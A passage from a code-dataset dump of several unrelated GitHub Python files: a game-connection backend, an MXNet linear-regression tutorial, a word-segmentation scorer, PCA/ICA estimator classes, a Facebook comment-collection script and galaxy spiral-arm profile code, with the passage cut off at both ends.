0:\n for location in locations:\n await self._emit_location_collected(self.connector.game_enum, location)\n else:\n await self.connector.receive_remote_pickups(\n self._inventory, self._permanent_pickups\n )\n\n async def _interact_with_game(self, dt: float):\n has_pending_op, world = await self.connector.current_game_status()\n self._world = world\n if world is not None:\n await self.update_current_inventory()\n if not has_pending_op:\n self.connector.message_cooldown = max(self.connector.message_cooldown - dt, 0.0)\n await self._multiworld_interaction()\n\n def _is_unexpected_game(self):\n \"\"\"\n If has an expected game, True if connected game isn't that.\n Otherwise, False.\n :return:\n \"\"\"\n if self._expected_game is not None:\n return self._expected_game != self.connector.game_enum\n return False\n\n async def update(self, dt: float):\n if not self._enabled:\n return\n\n # check if we have a connector_builder and a connector\n if self.connector_builder is None:\n return\n elif self.connector is None:\n self.connector = await self.connector_builder.build_connector()\n\n # connector can still be none e.g. dolphin can not hook\n if self.connector is None:\n return\n\n if not await self.connector_builder.executor.connect():\n return\n\n try:\n if self.connector is not None and not self._is_unexpected_game():\n await self._interact_with_game(dt)\n\n # could be a little more precise but other games could return network related errors\n except Exception as e:\n self.logger.warning(f\"Exception: {e}\")\n self._world = None\n if self.connector is not None:\n self.connector.executor.disconnect()\n\n","repo_name":"HighC914/randovania","sub_path":"randovania/game_connection/connection_backend.py","file_name":"connection_backend.py","file_ext":"py","file_size_in_byte":5933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"9809943593","text":"from mxnet import ndarray as nd\nfrom mxnet import autograd as ag\nimport matplotlib.pyplot as plt\nimport random\n\n# ############### 创建数据集 ###############\nnum_inputs = 2\nnum_examples = 1000\n\ntrue_w = [2, -3.4]\ntrue_b = 4.2\n\nX = nd.random_normal(shape=(num_examples, num_inputs))\ny = true_w[0] * X[:, 0] + true_w[1] * X[:, 1] + true_b\ny += .01 * nd.random_normal(shape=y.shape)\n\n# plt.scatter(X[:, 1].asnumpy(), y.asnumpy())\n# plt.show()\n\n# ############### 数据读取 ###############\nbatch_size = 10\n\n\n# 每次返回 batch_size 个随机的样本和对应的目标\ndef data_iter():\n\tidx = list(range(num_examples))\n\trandom.shuffle(idx)\n\tfor i in range(0, num_examples, batch_size):\n\t\tj = nd.array(idx[i: min(i + batch_size, num_examples)])\n\t\tyield nd.take(X, j), nd.take(y, j)\n\n\n# for data, label in data_iter():\n# \tprint(data, label)\n# \tbreak\n\n# ############### 初始化模型参数 ###############\nw = nd.random_normal(shape=(num_inputs, 1))\nb = nd.zeros(shape=(1,))\nparams = [w, b]\n# print(params)\n\n# 之后训练需要对这些参数求导来更新它们的值,使损失尽量减小,\n# 因此创建它们的梯度.\nfor param in params:\n\tparam.attach_grad()\n\n\n# ############### 定义模型 ###############\ndef net(X):\n\treturn nd.dot(X, w) + b\n\n\n# ############### 损失函数 ###############\ndef square_loss(yhat, y):\n\treturn (yhat - y.reshape(yhat.shape)) ** 2\n\n\n# ############### 优化 ###############\n# 通过随机梯度下降来求解.\n# 每一步,将模型参数沿着梯度的反方向走特定距离 (learning_rate)\ndef SGD(params, lr):\n\tfor param in params:\n\t\tparam[:] = param - lr * param.grad\n\n\n# ############### 训练 ###############\n# 模型函数\ndef read_fn(X):\n\treturn true_w[0] * X[:, 0] + true_w[1] * X[:, 1] + true_b\n\n\nepochs = 10\nlearning_rate = .001\n\nfor e in range(epochs):\n\ttotal_loss = 0\n\n\tfor data, label in data_iter():\n\t\twith ag.record():\n\t\t\toutput = net(data)\n\t\t\tloss = square_loss(output, label)\n\t\tloss.backward()\n\t\tSGD(params, learning_rate)\n\t\ttotal_loss += nd.sum(loss).asscalar()\n\tprint('Epoch %s, average loss: %f' % (e, total_loss / num_examples))\n\nprint(true_w, w)\nprint(true_b, b)\n","repo_name":"tinylcy/dl","sub_path":"linear_regression/linear_regerssion_scratch.py","file_name":"linear_regerssion_scratch.py","file_ext":"py","file_size_in_byte":2137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4296640471","text":"# 实验一第三部分 - 正反向最大匹配分词效果分析\n\nSEG_STD_PATH = \"./res/199801_seg&pos.txt\"\nSEG_FMM_PATH = \"./res/seg_FMM.txt\"\nSEG_BMM_PATH = \"./res/seg_BMM.txt\"\nSCORE_PATH = \"./res/score.txt\"\n\nCorrect_num_FMM = 0\nTotal_num_FMM = 0\nCorrect_num_BMM = 0\nTotal_num_BMM = 0\nTotal_num_STD = 0\n\n\ndef compare_by_line(line_STD, line_FMM, line_BMM):\n global Correct_num_FMM, Total_num_FMM, Correct_num_BMM, Total_num_BMM, Total_num_STD\n start_pos_STD = 0\n cur_pos_STD = 0\n len_STD = len(line_STD)\n start_pos_FMM = 0\n cur_pos_FMM = 0\n len_FMM = len(line_FMM)\n start_pos_BMM = 0\n cur_pos_BMM = 0\n len_BMM = len(line_BMM)\n if len_STD == 1:\n return\n while cur_pos_STD != len_STD or cur_pos_FMM != len_FMM or cur_pos_BMM != len_BMM:\n if line_STD[cur_pos_STD] != line_FMM[cur_pos_FMM] or line_STD[cur_pos_STD] != line_BMM[cur_pos_BMM]:\n print(\"代码有问题:字符没对齐\")\n raise ValueError\n if line_STD[start_pos_STD: cur_pos_STD] == line_FMM[start_pos_FMM: cur_pos_FMM] and \\\n line_FMM[cur_pos_FMM + 1] == line_STD[cur_pos_STD + 1] and \\\n line_STD[cur_pos_STD + 1] == '/':\n Correct_num_FMM += 1\n if line_STD[start_pos_STD: cur_pos_STD] == line_BMM[start_pos_BMM: cur_pos_BMM] and \\\n line_BMM[cur_pos_BMM + 1] == line_STD[cur_pos_STD + 1] and \\\n line_STD[cur_pos_STD + 1] == '/':\n Correct_num_BMM += 1\n cur_pos_STD += 1\n cur_pos_FMM += 1\n cur_pos_BMM += 1\n if line_STD[cur_pos_STD] == '/':\n while line_STD[cur_pos_STD] != ' ' and cur_pos_STD < len_STD:\n cur_pos_STD += 1\n Total_num_STD += 1\n cur_pos_STD += 1\n if cur_pos_STD < len_STD and line_STD[cur_pos_STD] == '[':\n cur_pos_STD += 1\n start_pos_STD = cur_pos_STD\n if line_FMM[cur_pos_FMM] == '/':\n Total_num_FMM += 1\n cur_pos_FMM += 2\n start_pos_FMM = cur_pos_FMM\n if line_BMM[cur_pos_BMM] == '/':\n Total_num_BMM += 1\n cur_pos_BMM += 2\n start_pos_BMM = cur_pos_BMM\n\n\ndef save_rst():\n global Correct_num_FMM, Total_num_FMM, Correct_num_BMM, Total_num_BMM, Total_num_STD\n score_file = open(SCORE_PATH, 'w')\n P_FMM = Correct_num_FMM / Total_num_FMM\n P_BMM = Correct_num_BMM / Total_num_BMM\n R_FMM = Correct_num_FMM / Total_num_STD\n R_BMM = Correct_num_BMM / Total_num_STD\n F_FMM = 2 * P_FMM * R_FMM / (P_FMM + R_FMM)\n F_BMM = 2 * P_BMM * R_BMM / (P_BMM + R_BMM)\n score_file.write(\"FMM:\\n Precision:\" + str(P_FMM) + \"\\tRecall:\" + str(R_FMM) + \"\\tF-measure:\" + str(F_FMM) + '\\n')\n score_file.write(\"BMM:\\n Precision:\" + str(P_BMM) + \"\\tRecall:\" + str(R_BMM) + \"\\tF-measure:\" + str(F_BMM) + '\\n')\n score_file.close()\n\n\nif __name__ == \"__main__\":\n Seg_STD_file = open(SEG_STD_PATH, 'r')\n Seg_FMM_file = open(SEG_FMM_PATH, 'r')\n Seg_BMM_file = open(SEG_BMM_PATH, 'r')\n Line_STD = Seg_STD_file.readline()\n Line_FMM = Seg_FMM_file.readline()\n Line_BMM = Seg_BMM_file.readline()\n while Line_STD != '':\n compare_by_line(' '.join(Line_STD.split()) + ' ', ' '.join(Line_FMM.split()) + ' ',\n ' '.join(Line_BMM.split()) + ' ')\n Line_STD = Seg_STD_file.readline()\n Line_FMM = Seg_FMM_file.readline()\n Line_BMM = Seg_BMM_file.readline()\n save_rst()\n Seg_STD_file.close()\n Seg_FMM_file.close()\n Seg_BMM_file.close()\n","repo_name":"Mr-SGXXX/HIT-NLP-Lab1","sub_path":"lab1_3.py","file_name":"lab1_3.py","file_ext":"py","file_size_in_byte":3538,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"546573343","text":"from sklearn.decomposition import FastICA, PCA, IncrementalPCA, MiniBatchSparsePCA, SparsePCA, KernelPCA\nimport fbpca\nimport numpy as np\nimport itertools\nfrom types import SimpleNamespace\n\n# ICA\nclass ICAEstimator():\n def __init__(self, n_components):\n self.n_components = n_components\n self.maxiter = 10000\n self.whiten = True # ICA: whitening is essential, should not be skipped\n self.transformer = FastICA(n_components, random_state=0, whiten=self.whiten, max_iter=self.maxiter)\n self.batch_support = False\n self.stdev = np.zeros((n_components,))\n self.total_var = 0.0\n\n def get_param_str(self):\n return \"ica_c{}{}\".format(self.n_components, '_w' if self.whiten else '')\n \n def fit(self, X):\n self.transformer.fit(X)\n if self.transformer.n_iter_ >= self.maxiter:\n raise RuntimeError(f'FastICA did not converge (N={X.shape[0]}, it={self.maxiter})')\n\n # Normalize components\n self.transformer.components_ /= np.sqrt(np.sum(self.transformer.components_**2, axis=-1, keepdims=True))\n\n # Save variance for later\n self.total_var = X.var(axis=0).sum()\n\n # Compute projected standard deviations\n self.stdev = np.dot(self.transformer.components_, X.T).std(axis=1)\n\n # Sort components based on explained variance\n idx = np.argsort(self.stdev)[::-1]\n self.stdev = self.stdev[idx]\n self.transformer.components_[:] = self.transformer.components_[idx]\n\n def get_components(self):\n var_ratio = self.stdev**2 / self.total_var\n return self.transformer.components_, self.stdev, var_ratio # ICA outputs are not normalized\n\n# Incremental PCA\nclass IPCAEstimator():\n def __init__(self, n_components):\n self.n_components = n_components\n self.whiten = False\n self.transformer = IncrementalPCA(n_components, whiten=self.whiten, batch_size=max(100, 2*n_components))\n self.batch_support = True\n\n def get_param_str(self):\n return \"ipca_c{}{}\".format(self.n_components, '_w' if self.whiten else '')\n\n def fit(self, X):\n self.transformer.fit(X)\n\n def fit_partial(self, X):\n try:\n self.transformer.partial_fit(X)\n self.transformer.n_samples_seen_ = \\\n self.transformer.n_samples_seen_.astype(np.int64) # avoid overflow\n return True\n except ValueError as e:\n print(f'\\nIPCA error:', e)\n return False\n\n def get_components(self):\n stdev = np.sqrt(self.transformer.explained_variance_) # already sorted\n var_ratio = self.transformer.explained_variance_ratio_\n return self.transformer.components_, stdev, var_ratio # PCA outputs are normalized\n\n# Standard PCA\nclass PCAEstimator():\n def __init__(self, n_components):\n self.n_components = n_components\n self.solver = 'full'\n self.transformer = PCA(n_components, svd_solver=self.solver)\n self.batch_support = False\n\n def get_param_str(self):\n return f\"pca-{self.solver}_c{self.n_components}\"\n\n def fit(self, X):\n self.transformer.fit(X)\n\n # Save variance for later\n self.total_var = X.var(axis=0).sum()\n\n # Compute projected standard deviations\n self.stdev = np.dot(self.transformer.components_, X.T).std(axis=1)\n\n # Sort components based on explained variance\n idx = np.argsort(self.stdev)[::-1]\n self.stdev = self.stdev[idx]\n self.transformer.components_[:] = self.transformer.components_[idx]\n\n # Check orthogonality\n dotps = [np.dot(*self.transformer.components_[[i, j]])\n for (i, j) in itertools.combinations(range(self.n_components), 2)]\n if not np.allclose(dotps, 0, atol=1e-4):\n print('IPCA components not orghogonal, max dot', np.abs(dotps).max())\n\n self.transformer.mean_ = X.mean(axis=0, keepdims=True)\n\n def get_components(self):\n var_ratio = self.stdev**2 / self.total_var\n return self.transformer.components_, self.stdev, var_ratio\n\n# Facebook's PCA\n# Good default choice: very fast and accurate.\n# Very high sample counts won't fit into RAM,\n# in which case IncrementalPCA must be used.\nclass FacebookPCAEstimator():\n def __init__(self, n_components):\n self.n_components = n_components\n self.transformer = SimpleNamespace()\n self.batch_support = False\n self.n_iter = 2\n self.l = 2*self.n_components\n\n def get_param_str(self):\n return \"fbpca_c{}_it{}_l{}\".format(self.n_components, self.n_iter, self.l)\n\n def fit(self, X):\n U, s, Va = fbpca.pca(X, k=self.n_components, n_iter=self.n_iter, raw=True, l=self.l)\n self.transformer.components_ = Va\n \n # Save variance for later\n self.total_var = X.var(axis=0).sum()\n\n # Compute projected standard deviations\n self.stdev = np.dot(self.transformer.components_, X.T).std(axis=1)\n\n # Sort components based on explained variance\n idx = np.argsort(self.stdev)[::-1]\n self.stdev = self.stdev[idx]\n self.transformer.components_[:] = self.transformer.components_[idx]\n\n # Check orthogonality\n dotps = [np.dot(*self.transformer.components_[[i, j]])\n for (i, j) in itertools.combinations(range(self.n_components), 2)]\n if not np.allclose(dotps, 0, atol=1e-4):\n print('FBPCA components not orghogonal, max dot', np.abs(dotps).max())\n\n self.transformer.mean_ = X.mean(axis=0, keepdims=True)\n \n def get_components(self):\n var_ratio = self.stdev**2 / self.total_var\n return self.transformer.components_, self.stdev, var_ratio\n\n# Sparse PCA\n# The algorithm is online along the features direction, not the samples direction\n# => no partial_fit\nclass SPCAEstimator():\n def __init__(self, n_components, alpha=10.0):\n self.n_components = n_components\n self.whiten = False\n self.alpha = alpha # higher alpha => sparser components\n #self.transformer = MiniBatchSparsePCA(n_components, alpha=alpha, n_iter=100,\n # batch_size=max(20, n_components//5), random_state=0, normalize_components=True)\n self.transformer = SparsePCA(n_components, alpha=alpha, ridge_alpha=0.01,\n max_iter=100, random_state=0, n_jobs=-1, normalize_components=True) # TODO: warm start using PCA result?\n self.batch_support = False # maybe through memmap and HDD-stored tensor\n self.stdev = np.zeros((n_components,))\n self.total_var = 0.0\n\n def get_param_str(self):\n return \"spca_c{}_a{}{}\".format(self.n_components, self.alpha, '_w' if self.whiten else '')\n \n def fit(self, X):\n self.transformer.fit(X)\n\n # Save variance for later\n self.total_var = X.var(axis=0).sum()\n\n # Compute projected standard deviations\n # NB: cannot simply project with dot product!\n self.stdev = self.transformer.transform(X).std(axis=0) # X = (n_samples, n_features)\n\n # Sort components based on explained variance\n idx = np.argsort(self.stdev)[::-1]\n self.stdev = self.stdev[idx]\n self.transformer.components_[:] = self.transformer.components_[idx]\n\n # Check orthogonality\n dotps = [np.dot(*self.transformer.components_[[i, j]])\n for (i, j) in itertools.combinations(range(self.n_components), 2)]\n if not np.allclose(dotps, 0, atol=1e-4):\n print('SPCA components not orghogonal, max dot', np.abs(dotps).max())\n\n def get_components(self):\n var_ratio = self.stdev**2 / self.total_var\n return self.transformer.components_, self.stdev, var_ratio # SPCA outputs are normalized\n\ndef get_estimator(name, n_components, alpha):\n if name == 'pca':\n return PCAEstimator(n_components)\n if name == 'ipca':\n return IPCAEstimator(n_components)\n elif name == 'fbpca':\n return FacebookPCAEstimator(n_components)\n elif name == 'ica':\n return ICAEstimator(n_components)\n elif name == 'spca':\n return SPCAEstimator(n_components, alpha)\n else:\n raise RuntimeError('Unknown estimator')","repo_name":"harskish/ganspace","sub_path":"estimators.py","file_name":"estimators.py","file_ext":"py","file_size_in_byte":8176,"program_lang":"python","lang":"en","doc_type":"code","stars":1756,"dataset":"github-code","pt":"21"} +{"seq_id":"4050664351","text":"\n# coding: utf-8\n\n# In[1]:\n\nfrom __future__ import absolute_import\nfrom google.cloud import language\nimport google.cloud\nimport pandas as pd\nimport numpy as np\nimport tqdm\nimport operator\nimport facebook\nimport json\nimport tweepy\nimport time\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport requests\nimport datetime\nimport dateutil.parser as dateparser\n\n\n#Create client instance for Google Natural Language API\nclient = language.Client()\n\n\n# In[2]:\n\n# Facebook Credentials\n\nFB_APP_ID = 'FB_APP_ID'\nFB_APP_SECRET = 'FB_APP_SECRET'\n\nUSER_ID = 'USER_ID'\n\nUSER_TOKEN= 'USER_TOKEN'\nFB_TOKEN = 'FB_TOKEN'\n\n# Facebook Graph API\ngraph = facebook.GraphAPI(access_token=FB_TOKEN, version='2.2')\n\n#graph.extend_access_token(FB_APP_ID, FB_APP_SECRET)\n\n\n# In[4]:\n\nsince = '2017-02-26'\nuntil = '2017-03-07'\n\n\n# In[5]:\n\nfb_comments_df = pd.DataFrame(columns = ['reply_comment_date', 'reply_comment_time', 'reply_comment_text', 'reply_comment_id', 'reply_username', 'reply_user_id', 'brand', 'post_date', 'post_time', 'post_text', 'post_id'])\n\n\n# In[6]:\n\nbrand_id = '123456789'\nbrand = 'RDU'\n\ntemp_post_objects = graph.get_connections(brand_id, 'posts', since = since, until = until)\ntemp_posts = {}\nwhile(True):\n try:\n for temp_post_object in temp_post_objects['data']:\n temp_posts[(temp_post_object['id'], dateparser.parse(temp_post_object['created_time']))] = temp_post_object['message'] \n temp_post_objects = requests.get(temp_post_object['paging']['next']).json()\n except KeyError:\n break\n\ntemp_fb_comments_df = pd.DataFrame(columns = ['reply_comment_date', 'reply_comment_time', 'reply_comment_text', 'reply_comment_id', 'reply_username', 'reply_user_id', 'brand', 'post_date', 'post_time', 'post_text', 'post_id'])\n\nfor post_meta in temp_posts:\n\n # Get datetime of the UF post\n post_datetime = post_meta[1]\n post_date = str(post_datetime.date())\n post_time = str(post_datetime.time())\n post_text = temp_posts[post_meta]\n post_id = post_meta[0]\n\n reply_comment_date_list = []\n reply_comment_time_list = []\n reply_comment_text_list = []\n reply_comment_id_list = []\n reply_user_name_list = []\n reply_user_id_list = []\n\n #user_commenter_ageRange_list = []\n #user_commenter_education_list = []\n #user_commenter_gender_list = []\n #user_commenter_location_list = []\n\n # Start initial comments object for iteration; all comments under post, including pagination info\n comments = graph.get_connections(post_id, 'comments')\n while(True):\n try:\n for comment in comments['data']:\n reply_comment_date_list.append(str(dateparser.parse(comment['created_time']).date()))\n reply_comment_time_list.append(dateparser.parse(str(dateparser.parse(comment['created_time']).time())))\n reply_comment_text_list.append(comment['message'])\n reply_comment_id_list.append(comment['id'])\n reply_user_name_list.append(comment['from']['name'])\n reply_user_id_list.append(comment['from']['id'])\n\n # Get commenter's location\n #user_commenter_id = comment['from']['id']\n #user_commenter_profile = graph.get_object(user_commenter_id)\n\n commments = requests.get(comment['paging']['next']).json()\n except KeyError:\n break\n\n temp_df = pd.DataFrame(columns = ['reply_comment_date', 'reply_comment_time', 'reply_comment_text', 'reply_comment_id', 'reply_username', 'reply_user_id', 'brand', 'post_date', 'post_time', 'post_text', 'post_id'])\n\n temp_df['reply_comment_date'] = reply_comment_date_list\n temp_df['reply_comment_time'] = reply_comment_time_list\n temp_df['reply_comment_text'] = reply_comment_text_list\n temp_df['reply_comment_id'] = reply_comment_id_list\n temp_df['reply_username'] = reply_user_name_list\n temp_df['reply_user_id'] = reply_user_id_list\n temp_df['brand'] = brand\n temp_df['post_date'] = post_date\n temp_df['post_time'] = post_time\n temp_df['post_text'] = post_text\n temp_df['post_id'] = post_id\n\n temp_fb_comments_df = pd.concat([temp_fb_comments_df, temp_df])\n\nfb_comments_df = pd.concat([fb_comments_df, temp_fb_comments_df])\n\n\n# In[7]:\n\nfb_comments_df\n\n\n# In[8]:\n\nfb_comments_df.to_csv('/Users/thays/Desktop/RDU_pitch/RDUpitch_all_fb_comments.csv', encoding='utf-8')\n\n\n# In[ ]:\n\n\n\n","repo_name":"tghays/Data-Science","sub_path":"Social-Media-Analytics/Facebook/Comments-Retrieval/Facebook-Comments-Retrieval.py","file_name":"Facebook-Comments-Retrieval.py","file_ext":"py","file_size_in_byte":4621,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21895567346","text":"def analyze_geological_composition(geological_data):\n \"\"\"\n Analyzes the geological composition of a planet or celestial body.\n \n Args:\n geological_data (dict): Input data on the geological features of the planet.\n Contains information on rock types, mineral composition, and topography.\n \n Returns:\n str: Markdown code providing a comprehensive analysis of the planet's geological characteristics.\n \"\"\"\n \n markdown_output = \"\"\n \n # Analyze rock types\n rock_types = geological_data.get('rock_types', [])\n if rock_types:\n markdown_output += \"## Rock Types\\n\\n\"\n for rock_type in rock_types:\n markdown_output += f\"- {rock_type}\\n\"\n markdown_output += \"\\n\"\n \n # Analyze mineral composition\n mineral_composition = geological_data.get('mineral_composition', {})\n if mineral_composition:\n markdown_output += \"## Mineral Composition\\n\\n\"\n for mineral, abundance in mineral_composition.items():\n markdown_output += f\"- {mineral}: {abundance}\\n\"\n markdown_output += \"\\n\"\n \n # Analyze topography\n topography = geological_data.get('topography', [])\n if topography:\n markdown_output += \"## Topography\\n\\n\"\n for feature in topography:\n markdown_output += f\"- {feature}\\n\"\n markdown_output += \"\\n\"\n \n # Analyze potential resources\n potential_resources = geological_data.get('potential_resources', [])\n if potential_resources:\n markdown_output += \"## Potential Resources\\n\\n\"\n for resource in potential_resources:\n markdown_output += f\"- {resource}\\n\"\n markdown_output += \"\\n\"\n \n # Analyze geological hazards\n geological_hazards = geological_data.get('geological_hazards', [])\n if geological_hazards:\n markdown_output += \"## Geological Hazards\\n\\n\"\n for hazard in geological_hazards:\n markdown_output += f\"- {hazard}\\n\"\n markdown_output += \"\\n\"\n \n return markdown_output\n","repo_name":"KOSASIH/TerraformingOverlord","sub_path":"analyze_geological_composition.py","file_name":"analyze_geological_composition.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18592199012","text":"\"\"\"\nProfiles for the spiral arm flux.\n\nClasses\n-------\nCorotatinoModifier\n Class for modifying the power index at the corotation radius.\n Useful for creating structures similar to spiral arms branching\n off the main arm, but with pitch angles of zero. The sigmoidal\n transformation is modified via\n p_min + (1 - p_min) ⋅ (2⋅|t - 0.5|)^index\n\nShockProfile\n Implements a rough approximation to the density profile as the result\n of a shock through the functional form\n p(θ, θ_sp) ∝ {\n (1 - Δθ/π)^(p_shock) pre-shock\n (1 - Δθ/π)^(p_arm) post-shock\n }\n where Δθ is the angular distance between θ and θ_spiral.\n\nExponentialProfile\n Generates a profile through the functional form\n p(θ, θ_sp) ∝ exp(-(Δθ/width)^power)\n\"\"\"\n\nimport math\nimport random\nimport torch\nfrom dataclasses import dataclass\nfrom galkit.functional import angular_distance, sigmoid, mod_angle\nfrom typing import Optional, Tuple, Union\nfrom .modulate import Damping\nfrom ...random import random_uniform\n\n@dataclass\nclass CorotationModifer:\n \"\"\"\n Class for modifying the power index at the corotation radius.\n Useful for creating structures similar to spiral arms branching\n off the main arm, but with pitch angles of zero. The sigmoidal\n transformation is modified via\n\n p_min + (1 - p_min) ⋅ (2⋅|t - 0.5|)^index\n\n Parameters\n ----------\n p_min : callable, float\n The minimum value of the modifier.\n \n index : callable, float\n The power index modifier.\n \"\"\"\n p_min : Union[callable, float] = lambda : random.random()\n index : Union[callable, float] = 2\n\n def __call__(self, input:torch.Tensor):\n p_min = self.p_min() if callable(self.p_min) else self.p_min\n index = self.index() if callable(self.index) else self.index\n shift = (input - 0.5).abs().mul(2).pow(index)\n return p_min + (1 - p_min) * shift\n\n@dataclass\nclass ShockProfile:\n \"\"\"\n Implements a rough approximation to the density profile as the result\n of a shock through the functional form\n\n p(θ, θ_sp) ∝ {\n (1 - Δθ/π)^(p_shock) pre-shock\n (1 - Δθ/π)^(p_arm) post-shock\n }\n\n where Δθ is the angular distance between θ and θ_spiral.\n\n Parameters\n ----------\n corotation : callable\n A function that takes as input the number of arms and the device\n and returns the corotation radius.\n\n transition : callable\n A function that takes as input the number of arms and the device\n and returns the fraction of the corotation about which the power\n index swaps from the pre- to post-shock regime through the sigmoid\n function.\n \n p_shock : callable\n A function that takes as input the number of arms and the device\n and returns the power index associated with the pre-shock regime.\n\n p_arm : callable\n A function that takes as input the number of arms and the device\n and returns the power index associated with the post-shock regime.\n\n δ_shock : callable\n A function that takes as input the number of arms and the device\n and returns the positional offset of the shock from the spiral\n potential.\n\n modulate : callable, optional\n A class that applies damping to the spiral arm pattern. Useful\n for preventing the spiral arms from propagating into the center\n of the galaxy and extending well beyond the observable portion\n of the galaxy.\n\n p_modifier : callable, optional\n A function that takes as input the sigmoidal transformation\n across the corotation radius and returns a perturbation mask\n for modifying the power indices of the pre- and post-shock\n regimes.\n\n Methods\n -------\n __getitem__(index)\n Returns a dictionary containing the set of parameters associated\n with the given index.\n \"\"\"\n corotation : callable = lambda size, device : random_uniform(0.1, 1, 1, device)\n transition : callable = lambda size, device : random_uniform(0.05, 0.15, 1, device)\n p_shock : callable = lambda size, device : random_uniform(10, 15, size, device)\n p_arm : callable = lambda size, device : random_uniform(5, 10, size, device)\n δ_shock : callable = lambda size, device : random_uniform(0, 0.25, size, device)\n modulate : Optional[callable] = Damping() \n p_modifier : Optional[callable] = CorotationModifer()\n\n def __call__(self,\n r : torch.Tensor,\n θ : torch.Tensor,\n θ_spiral : torch.Tensor,\n sign : torch.Tensor,\n index : int,\n arm_index : int,\n **kwargs\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Generates the mask and a normalized profile that has a mean\n value of 1.\n\n Parameters\n ----------\n r : Tensor\n The radial distances.\n\n θ : Tensor\n The azimuthal positions.\n\n θ_spiral : Tensor\n The azimuthal position of the spiral arm at the\n various radial distances.\n\n sign : Tensor\n The sign of the rotation.\n\n index : int\n The galaxy index. Used to extract the appropriate values.\n \n arm_index : int\n The arm index. Used to extract the appropriate values.\n\n **kwargs\n Used for compatibility with other methods.\n\n Returns\n -------\n profile : Tensor\n The perturbation tensor for the profile\n\n mask : Tensor\n The spiral arm masks\n \"\"\"\n params = self[index]\n\n # Calculate the angular offsets\n dx = angular_distance(θ, θ_spiral, absolute=False)\n if sign < 0:\n dx = -dx\n\n # Generate the transition across the corotation\n loc = params['corotation']\n loc = loc if loc.nelement() == 1 else loc[arm_index]\n scale = params['transition']\n scale = scale if scale.nelement() == 1 else scale[arm_index]\n t = sigmoid(r, loc=loc, scale=scale)\n\n # Generate the power index\n p_shock = params['p_shock']\n p_shock = p_shock if p_shock.nelement() == 1 else p_shock[arm_index]\n p_arm = params['p_arm']\n p_arm = p_arm if p_arm.nelement() == 1 else p_arm[arm_index]\n\n s = (p_shock - p_arm) * t\n P1 = p_arm + s\n P2 = p_shock - s\n power = torch.empty_like(P2)\n\n # Apply modifier\n if self.p_modifier is not None:\n mod = self.p_modifier(t)\n P1 = P1 * mod\n P2 = P2 * mod\n\n # Interior\n mask = dx < 0\n power[mask] = P2[mask]\n\n # Exterior\n mask = ~mask\n power[mask] = P1[mask]\n\n # Generate the flux offsets\n δ_shock = params['δ_shock'].squeeze()\n δ_shock = δ_shock if δ_shock.nelement() == 1 else δ_shock[arm_index]\n dx_profile = mod_angle(dx, δ_shock * t)\n\n # Generate the mask and flux perturbation\n mask = (1 - dx.abs()/math.pi).pow((p_arm + p_shock)*0.5)\n profile = (1 - dx_profile.abs()/math.pi).pow(power)\n\n if self.modulate is not None:\n modulate = self.modulate(r=r, θ=θ, index=index, arm_index=arm_index)\n mask = mask * modulate\n profile = profile * modulate\n\n profile = profile * self.norm(P1, P2)\n return profile, mask\n\n def __getitem__(self, index:int) -> dict:\n \"\"\"\n Returns a dictionary containing the set of parameters associated\n with the given index.\n \"\"\"\n return {k:v[index] for k,v in self.params.items()} \n\n def sample(self, cls, isoA:torch.Tensor, arm_count:int, **kwargs):\n \"\"\"\n Generates parameter values for constructing the profile.\n\n Parameters\n ----------\n cls : class\n The galaxy class object.\n\n isoA : tensor\n The scaling factors used to rescale the base grid when generating\n the geometry. The Wa values are multiplied by this.\n\n arm_count : int\n The number of arms for each galaxy.\n\n **kwargs\n Additional arguments to pass into the sample method for the modulate\n object.\n \"\"\"\n self.params = {\n 'isoA' : isoA,\n 'corotation': tuple(self.corotation(size=n, device=cls.device)*isoA[i] for i,n in enumerate(arm_count)),\n 'transition': tuple(self.transition(size=n, device=cls.device)*isoA[i] for i,n in enumerate(arm_count)),\n 'p_shock' : tuple(self.p_shock(size=n, device=cls.device) for n in arm_count),\n 'p_arm' : tuple(self.p_arm(size=n, device=cls.device) for n in arm_count),\n 'δ_shock' : tuple(self.δ_shock(size=n, device=cls.device) for n in arm_count),\n }\n if self.modulate is not None:\n self.modulate.sample(cls=cls, isoA=isoA, arm_count=arm_count, **kwargs)\n\n def norm(self,\n p1:Union[float, torch.Tensor], \n p2:Union[float, torch.Tensor]\n ) -> Union[float, torch.Tensor]:\n \"\"\"\n Normalization factor such that the mean value of the profile is 1.\n \"\"\"\n t1 = 1 / (p1 + 1)\n t2 = 1 / (p2 + 1)\n return 2 / (t1 + t2) \n\n@dataclass\nclass ExponentialProfile:\n \"\"\"\n Generates a profile through the functional form\n\n p(θ, θ_sp) ∝ exp(-(Δθ/width)^power)\n\n Parameters\n ----------\n power : callable\n A function that takes as input the number of arms and the device\n and returns the power index associated with the arm.\n\n width : callable\n A function that takes as input the number of arms and the device\n and returns the width associated with the arm.\n\n modulate : callable, optional\n A class that applies damping to the spiral arm pattern. Useful\n for preventing the spiral arms from propagating into the center\n of the galaxy and extending well beyond the observable portion\n of the galaxy.\n \"\"\"\n power : callable = lambda size, device : random_uniform(1, 3, size, device)\n width : callable = lambda size, device : random_uniform(0.1, 0.4, size, device)\n modulate : Optional[callable] = Damping()\n\n def __call__(self,\n r : torch.Tensor,\n θ : torch.Tensor,\n θ_spiral : torch.Tensor,\n index : int,\n arm_index : int,\n **kwargs,\n ) -> Tuple[torch.Tensor, torch.Tensor]:\n \"\"\"\n Generates the mask and a normalized profile that has a mean\n value of 1.\n\n Parameters\n ----------\n r : Tensor\n The radial distances.\n\n θ : Tensor\n The azimuthal positions.\n\n θ_spiral : Tensor\n The azimuthal position of the spiral arm at the\n various radial distances.\n\n index : int\n The galaxy index. Used to extract the appropriate values.\n \n arm_index : int\n The arm index. Used to extract the appropriate values.\n\n **kwargs\n Used for compatibility with other methods.\n\n Returns\n -------\n profile : Tensor\n The perturbation tensor for the profile\n\n mask : Tensor\n The spiral arm masks\n \"\"\"\n params = self[index]\n width = params['width'] if params['width'].nelement() == 1 else 